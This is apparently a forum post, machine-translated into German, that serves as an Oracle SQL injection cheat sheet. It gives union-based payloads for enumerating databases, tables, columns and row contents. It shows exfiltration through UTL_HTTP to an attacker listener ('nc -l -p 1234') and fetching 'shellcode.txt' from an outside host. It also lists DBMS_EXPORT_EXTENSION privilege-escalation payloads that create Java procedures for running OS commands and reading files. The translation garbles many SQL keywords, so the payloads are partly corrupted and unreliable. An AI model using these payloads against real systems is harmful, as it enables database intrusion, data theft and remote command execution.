Dieser Beitrag wurde zuletzt am 24.01.2015 um 13:01 Uhr von Test bearbeitet
Kommentar: -- Die Ausführung mehrerer Sätze wird nicht unterstützt, und föderierte Abfragen werden unterstützt Datenbanknamen, Tabellennamen und Spaltennamen werden alle großgeschrieben.
Länge(Feld) ascii(substr(Feld, N, 1))
und (wähle Zahl(*) aus dem Dual)>0 – Bestimmen, ob es ein Orakel ist oder nicht
Ordnung nach n--
und 1=2 Vereinigungswahl von Null, Null,.....,Null aus Dual – Null durch N oder 'N' ersetzen
und 1=2 Union Select Null, (SQL-Anweisung) ,.....,Null von Dual – Änderung zu (SQL-Anweisung) bei 'N'
und (wähle Anzahl (*) aus all_objects aus, wobei object_name='UTL_HTTP')>0 – Bestimmen, ob die UTL_HTTP unterstützt wird (die Export-IP ist bekannt)
und UTL_HTTP.request('http://LocalIP:port'|| (SQL-Anweisung)) =1-- Nachrichten aus der Ferne an lokal senden, lokal Hören nc -vv -l -p 1234
SQL-Anweisungen Wählen Sie ein Banner aus sys.v_$version, bei dem rownum=1, um die Oracle-Version abzufragen Wählen Sie Mitglied aus v$logfile aus, wo rownum=1 Abfrage des Logdateipfads (Windows oder Linux) Wählen Sie utl_inaddr.get_host_address aus dual aus, um die Datenbank-Listening-IP abzufragen Wähle instance_name aus v$instance aus, um die SID abzufragen Namen aus v$database auswählen Abfrage des aktuellen Datenbanknamens Wählen Sie sys_context ('userenv', 'current_user') aus Dual-Query-Datenbankbenutzern aus Wählen Sie * aus session_roles, wobei rownum=1 gewählt wird, um die aktuellen Benutzerberechtigungen abzufragen Wähle * aus session_roles, wo rownum=1 [und Rolle<>'Erster Berechtigungsname']
Wählen Sie table_name aus user_tables aus, wo rownum=1 Das erste Tabellensegment der aktuellen Datenbank Select table_name||','|| tablespace_name von user_tables, wo rownum=1 Erster Tabellensegment, Datenbank (zur Verifizierung muss es nicht v$database sein) Wählen Sie table_name aus user_tables aus, wobei rownum=1 und table_name<>'erster Tabellensegment' Das zweite Tabellensegment der aktuellen Datenbank
Wählen Sie column_name aus user_tab_columns aus, wobei rownum=1 und table_name='Tabellensegment' Das erste Feld entspricht, das dem Tabellennamen entspricht Wählen Sie column_name aus user_tab_columns aus, wobei rownum=1 und table_name='Tabellensegment' und column_name<>'Erster Feld' Das zweite Feld entspricht, das dem Tabellennamen entspricht
Feld aus dem Tabellensegment auswählen, bei dem rownum=1 gegen den Inhalt der ersten Zeile verstößt Feld aus dem Tabellensegment auswählen, in dem rownum=1 und Feld <> 'First Line Content' den Inhalt der zweiten Zeile offenlegen
Cross-Library Wählen Sie den Besitzer aus all_tables, bei dem rownum=1 den ersten Datenbanknamen abfragt Wählen Sie den Besitzer aus all_tables aus, wobei rownum=1 und der Eigentümer<> 'Erster Datenbankname', um den zweiten Datenbanknamen abzufragen
Wählen Sie table_name aus all_tables aus, wobei rownum=1 und owner='database name' abfragen Sie den ersten Tabellennamen der entsprechenden Datenbank ab Wählen Sie table_name aus all_tables aus, wobei rownum=1 und owner='database name' und table_name<>'first table name' verwendet werden, um den zweiten Tabellennamen der entsprechenden Datenbank abzufragen
Wählen Sie column_name aus all_tab_columns aus, wobei rownum=1 und owner='database name' und table_name='table segment' das erste Feld mit dem Tabellennamen auswählt Wählen Sie column_name aus all_tab_columns aus, wobei rownum=1 und owner='Datenbankname' und table_name='Table Segment' und column_name<>'first field' das zweite Feld zum Tabellennamen auswählt
Feld aus der Datenbank auswählen. Tabellensegment, bei dem rownum=1 den Inhalt der ersten Zeile verletzt Feld aus der Datenbank auswählen. Das Tabellensegment, bei dem rownum=1 und das Feld <> 'First Line Content' gegen den Inhalt der zweiten Zeile verstoßen.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); mehraussagendes END; --','SYS',0,'1',0)--
Wenn 'is escaped, wird chr() verwendet.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-Aussagen || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Wenn mehrere Sätze zu lang sind, kannst du die Aussage in die Website-Datei schreiben und utl_http.request verwenden, um sie abzurufen.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Erstellen Sie ein JAVA-Paket SecTest runCMD wird verwendet, um Systembefehle auszuführen. und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT AUSFÜHREN'' ERKLÄRT PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE''''', erstellen oder ersetzen und kompilieren Sie eine Java-Quelle namens "SecTest" als Import java.io.*; öffentliche Klasse SecTest erweitert Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; während((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return STR; }catch(Exception e){return e.toString(); }}}''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--
readFile wird verwendet, um die Datei zu lesen und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT AUSFÜHREN'' ERKLÄRT PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE''''', erstellen oder ersetzen und kompilieren Sie eine Java-Quelle namens "SecTest" als Import java.io.*; öffentliche Klasse SecTest erweitert Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; während((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return STR; }catch(Exception e){return e.toString(); }}}''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--
Java-Berechtigungen gewähren und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''' start dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALLE FILES>>'''''''',''''''''ausführen''''''''); Ende; ''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--
Erstelle eine Funktion SecRunCMD-Funktion und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE ''''', erstelle oder ersetze Funktion SecRunCMD(p_cmd in varchar2) gib varchar2 als Sprache java-Name zurück''''''''SecTest.runCMD(java.lang.String) gib String zurück'''''''' ; ''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--
SecReadFile-Funktion und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''''-Funktion zum Erstellen oder Ersetzen SecReadFile (Dateiname in varchar2) geben Sie varchar2 als Language Java Name zurück''''''''SecTest.readFile(java.lang.String) geben Sie String zurück '''''''; ''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--
Erlaubnis zur Ausübung der öffentlichen Funktion erteilen SecRunCMD erhält Berechtigungen und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGINNEN MIT DER SOFORTIGEN UMSETZUNG ''''alle auf SecRunCMD an die Öffentlichkeit gewähren'''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--
SecReadFile und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGINNEN AUSFÜHREN SOFORT '''''' Gewähren aller SecReadFile an die Öffentlichkeit ''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--
Erkennt, ob die Funktion erfolgreich erstellt wurde und (wähle Zahl(*) aus all_objects aus, wobei object_name='SECRUNCMD')>0-- und (wähle Zahl(*) aus all_objects aus, wobei object_name='SECREADFILE')>0--
Führe den Befehl aus und '1'<>(Select Sys. SecRunCMD('Execute-Befehl') aus dual)-- und '1'<>(Select Sys. SecReadFile('file physical address') von dual)-- oder und 1=2 Union select null,...,sys. SecRunCMD('execute command'),...,null from dual-- und 1=2 Union select null,...,sys. SecReadFile('file physical address'),...,null from dual-- oder und '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Ausführen des Befehls'),' ',' '),'\n',' ')) aus dual)-- und '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('File Physical Address'),' ',' ','\n', ' ')) von dual)--
Löschfunktion und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''''drop-Funktion SecRunCMD''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)-- und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''''drop-Funktion SecReadFile''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)-- |